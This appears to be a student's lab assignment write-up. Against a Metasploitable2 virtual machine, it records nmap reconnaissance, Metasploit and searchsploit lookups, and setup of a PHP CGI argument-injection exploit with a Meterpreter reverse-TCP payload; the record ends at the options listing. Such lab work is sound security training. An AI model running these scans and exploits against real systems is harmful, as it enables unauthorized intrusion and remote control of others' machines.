

FOSS CLUB – EVALUATION ASSIGNMENT :

```
(karan@vbox)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
    inet6 fe80::a00:27ff:fe89:8814 prefixlen 64 scopeid 0<link>
    inet6 fd00::5041:8833:5083:49a0 prefixlen 64 scopeid 0<global>
    inet6 fd00::a00:27ff:fe89:8814 prefixlen 64 scopeid 0<global>
    ether 08:00:27:89:88:14 txqueuelen 1000 (Ethernet)
    RX packets 77672 bytes 98045834 (93.5 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 15874 bytes 3612792 (3.4 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 6046 bytes 303100 (295.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 6046 bytes 303100 (295.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(karan@vbox)-[~]
$ ping 172.16.105.27
PING 172.16.105.27 (172.16.105.27) 56(84) bytes of data.
64 bytes from 172.16.105.27: icmp_seq=1 ttl=255 time=7.20 ms
64 bytes from 172.16.105.27: icmp_seq=2 ttl=255 time=4.22 ms
64 bytes from 172.16.105.27: icmp_seq=3 ttl=255 time=4.68 ms
64 bytes from 172.16.105.27: icmp_seq=4 ttl=255 time=2.18 ms
64 bytes from 172.16.105.27: icmp_seq=5 ttl=255 time=4.89 ms
64 bytes from 172.16.105.27: icmp_seq=6 ttl=255 time=4.60 ms
64 bytes from 172.16.105.27: icmp_seq=7 ttl=255 time=4.76 ms
64 bytes from 172.16.105.27: icmp_seq=8 ttl=255 time=4.21 ms
^C
— 172.16.105.27 ping statistics —
8 packets transmitted, 8 received, 0% packet loss, time 7033ms
rtt min/avg/max/mdev = 2.175/4.590/7.200/1.277 ms
```

ifconfig – To get IP address of the network we are connected to

ping – To see if the system is reachable in the network and to check latency

```
File Actions Edit View Help
64 bytes from 172.16.105.27: icmp_seq=6 ttl=255 time=4.60 ms
64 bytes from 172.16.105.27: icmp_seq=7 ttl=255 time=4.76 ms
64 bytes from 172.16.105.27: icmp_seq=8 ttl=255 time=4.21 ms
^C
— 172.16.105.27 ping statistics —
8 packets transmitted, 8 received, 0% packet loss, time 7033ms
rtt min/avg/max/mdev = 2.175/4.590/7.200/1.277 ms

(karan@vbox)-[~]
$ nmap 172.16.105.27
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 14:27 IST
Nmap scan report for 172.16.105.27
Host is up (0.0096s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 23.42 seconds
```

nmap – It is a scanning tool, allows us to view all the ports open

```
File Actions Edit View Help
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 23.42 seconds

(karan@vbox)-[~]
$ nmap -sV 172.16.105.27
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 14:29 IST
Nmap scan report for 172.16.105.27
Host is up (0.0080s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.19 seconds
```

nmap -sV -- service version scan,returns the versions of the services running on open ports

```
(karan@vbox)-[~]
$ nmap -A 172.16.105.27
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 14:30 IST
Nmap scan report for 172.16.105.27
Host is up (0.0091s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ ssh-hostkey:
|_ 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_ Not valid before: 2010-03-17T14:07:45
|_ Not valid after: 2010-04-16T14:07:45
|_ smtp_commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ sslv2:
|_ SSLv2 supported
|_ ciphers:
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ ssl-date: 2024-12-21T09:02:17+00:00; +5s from scanner time.
53/tcp    open  domain       ISC BIND 9.4.2
|_ dns-nsid:
|_ bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_ http-title: Metasploitable2 - Linux
|_ http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn?
445/tcp   open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
```

nmap -A -- used for OS scanning

```
msfconsole
Metasploit tip: View advanced module options with advanced

[...]
```

```
msf6 > search http_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/http/http_version      .              normal No    HTTP Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

msf6 > use 0
msf6 auxiliary(scanner/http/http_version) > show options

Module options (auxiliary/scanner/http/http_version):

Name      Current Setting  Required  Description
-  -  -  -  -
Proxies    Proxies         no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT           yes       The target port (TCP)
SSL        SSL             no        Negotiate SSL/TLS for outgoing connections
THREADS    THREADS         yes       The number of concurrent threads (max one per host)
VHOST      VHOST           no        HTTP server virtual host

View the full module info with the info, or info -d command.
```

```
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 172.16.105.27
RHOSTS => 172.16.105.27
msf6 auxiliary(scanner/http/http_version) > exploit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

msfconsole – To launch the Metasploit console, opens a shell where you search for exploits

search http_version - used to find exploits or auxiliary modules that deal with HTTP versions or related vulnerabilities

use 0 – to select a module

```
msf6 auxiliary(scanner/http/http_version) > searchsploit apache 2.2.8
[*] exec: searchsploit apache 2.2.8

Exploit Title | Path
-----|-----
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache < 2.0.64 / < 2.2.21 mod_setenvif - Integer Overflow | linux/dos/41769.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal | linux/webapps/39642.txt
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities | multiple/webapps/18329.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution | multiple/remote/44556.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit) | multiple/remote/41690.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNI Injection | multiple/remote/44583.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1) | windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2) | jsp/webapps/42966.py
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC) | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution | linux/remote/34.pl

Shellcodes: No Results
msf6 auxiliary(scanner/http/http_version) > searchsploit apache 2.2.8 |grep php
[*] exec: searchsploit apache 2.2.8 |grep php

Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
```

```
msf6 auxiliary(scanner/http/http_version) > searchsploit apache 2.2.8 |grep php
[*] exec: searchsploit apache 2.2.8 |grep php

Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
msf6 auxiliary(scanner/http/http_version) > grep cgi search php 5.4.2
1 exploit/multi/http/php_cgi_arg_injection 2012-05-03 excellent Yes PHP CGI Argument Injection
msf6 auxiliary(scanner/http/http_version) > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) >
```

searchsploit apache 2.2.8 – find vulnerabilities in Apache 2.2.8 from Exploit Database

searchsploit apache 2.2.8 | grep php – filters using grep to only show vulnerabilities related to php

grep cgi search php 5.4.2 -- checks for exploits for CGI vulnerabilities in php 5.4.2

use 1 – load exploit into Metasploit

```
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):



| Name        | Current Setting | Required | Description                                                                                                                                                                                         |
|-------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PLESK       | false           | yes      | Exploit Plesk                                                                                                                                                                                       |
| Proxies     |                 | no       | A proxy chain of format type:host:port[,type:host:port][...] <small>Warning: does not work for parsing open redirects.</small>                                                                      |
| RHOSTS      |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT       | 80              | yes      | The target port (TCP)                                                                                                                                                                               |
| SSL         | false           | no       | Negotiate SSL/TLS for outgoing connections                                                                                                                                                          |
| TARGETURI   |                 | no       | The URI to request (must be a CGI-handled PHP script)                                                                                                                                               |
| URIENCODING | 0               | yes      | Level of URI URIENCODING and padding (0 for minimum)                                                                                                                                                |
| VHOST       |                 | no       | HTTP server virtual host                                                                                                                                                                            |



Payload options (php/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 10.0.2.15       | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

show options – displays list of configuration for the selected exploits